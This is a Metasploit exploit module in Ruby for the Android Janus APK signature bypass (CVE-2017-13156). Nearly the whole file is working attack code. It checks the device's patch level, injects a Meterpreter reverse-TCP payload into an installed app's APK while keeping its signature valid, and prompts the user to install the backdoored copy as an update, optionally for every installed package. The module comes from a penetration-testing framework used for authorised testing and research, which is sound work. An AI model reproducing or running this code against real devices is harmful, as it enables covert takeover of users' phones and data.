168 lines
5.7 KiB
Ruby
168 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Post::File
|
|
include Msf::Post::Android::Priv
|
|
include Msf::Payload::Android
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
{
|
|
'Name' => 'Android Janus APK Signature bypass',
|
|
'Description' => %q{
|
|
This module exploits CVE-2017-13156 in Android to install a payload into another
|
|
application. The payload APK will have the same signature and can be installed
|
|
as an update, preserving the existing data.
|
|
The vulnerability was fixed in the 5th December 2017 security patch, and was
|
|
additionally fixed by the APK Signature scheme v2, so only APKs signed with
|
|
the v1 scheme are vulnerable.
|
|
Payload handler is disabled, and a multi/handler must be started first.
|
|
},
|
|
'Author' => [
|
|
'GuardSquare', # discovery
|
|
'V-E-O', # proof of concept
|
|
'timwr', # metasploit module
|
|
'h00die', # metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2017-13156'],
|
|
['URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures'],
|
|
['URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156'],
|
|
],
|
|
'DisclosureDate' => '2017-07-31',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Platform' => [ 'android' ],
|
|
'Arch' => [ ARCH_DALVIK ],
|
|
'Targets' => [ [ 'Automatic', {} ] ],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
|
|
'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
|
|
'Reliability' => [],
|
|
'Stability' => [SERVICE_RESOURCE_LOSS] # ZTE youtube app won't start anymore
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
appapi_app_install
|
|
]
|
|
}
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
|
|
])
|
|
end
|
|
|
|
def check
|
|
os = cmd_exec('getprop ro.build.version.release')
|
|
|
|
unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))
|
|
return CheckCode::Safe("Android version #{os} is not vulnerable.")
|
|
end
|
|
|
|
vprint_good("Android version #{os} appears to be vulnerable.")
|
|
|
|
patch = cmd_exec('getprop ro.build.version.security_patch')
|
|
|
|
if patch.empty?
|
|
return CheckCode::Appears('Unable to determine patch level. Pre-5.0 this is unaccessible.')
|
|
end
|
|
|
|
if patch > '2017-12-05'
|
|
return CheckCode::Safe("Android security patch level #{patch} is patched.")
|
|
end
|
|
|
|
CheckCode::Appears("Android security patch level #{patch} is vulnerable.")
|
|
end
|
|
|
|
def infect(apkfile)
|
|
unless apkfile.start_with?('package:')
|
|
fail_with(Failure::BadConfig, 'Unable to locate app apk')
|
|
end
|
|
|
|
apkfile = apkfile[8..]
|
|
print_status("Downloading APK: #{apkfile}")
|
|
apk_data = read_file(apkfile)
|
|
|
|
# Create an apk with the payload injected
|
|
apk_backdoor = ::Msf::Payload::Apk.new
|
|
apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)
|
|
|
|
# Extract the classes.dex
|
|
dex_data = ''
|
|
Zip::File.open_buffer(apk_zip) do |zipfile|
|
|
dex_data = zipfile.read('classes.dex')
|
|
end
|
|
dex_size = dex_data.length
|
|
|
|
# Fix the original APKs zip file code directory
|
|
cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
|
|
cd_start_addr = apk_data[cd_end_addr + 16, cd_end_addr + 20].unpack('V')[0]
|
|
apk_data[cd_end_addr + 16...cd_end_addr + 20] = [ cd_start_addr + dex_size ].pack('V')
|
|
pos = cd_start_addr
|
|
while pos && pos < cd_end_addr
|
|
offset = apk_data[pos + 42, pos + 46].unpack('V')[0]
|
|
apk_data[pos + 42...pos + 46] = [ offset + dex_size ].pack('V')
|
|
pos = apk_data.index("\x50\x4b\x01\x02", pos + 46)
|
|
end
|
|
|
|
# Prepend the new classes.dex to the apk
|
|
out_data = dex_data + apk_data
|
|
out_data[32...36] = [ out_data.length ].pack('V')
|
|
out_data = fix_dex_header(out_data)
|
|
|
|
out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric(6)}.apk"
|
|
print_status("Uploading APK: #{out_apk}")
|
|
write_file(out_apk, out_data)
|
|
register_file_for_cleanup(out_apk)
|
|
print_status('APK uploaded')
|
|
|
|
# Prompt the user to update the APK
|
|
session.appapi.app_install(out_apk)
|
|
print_status('User should now have a prompt to install an updated version of the app')
|
|
true
|
|
rescue StandardError => e
|
|
print_error e.to_s
|
|
false
|
|
end
|
|
|
|
def exploit
|
|
if datastore['PACKAGE'] == 'ALL'
|
|
vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
|
|
all = cmd_exec('pm list packages').split("\n")
|
|
c = 1
|
|
|
|
ignore = [
|
|
'com.metasploit.stage', # avoid injecting into ourself
|
|
]
|
|
|
|
all.each do |package|
|
|
package = package.split(':')[1]
|
|
vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
|
|
c += 1
|
|
next if ignore.include?(package)
|
|
|
|
break if infect(cmd_exec("pm path #{package}"))
|
|
end
|
|
else
|
|
infect(cmd_exec("pm path #{datastore['PACKAGE']}"))
|
|
end
|
|
end
|
|
end
|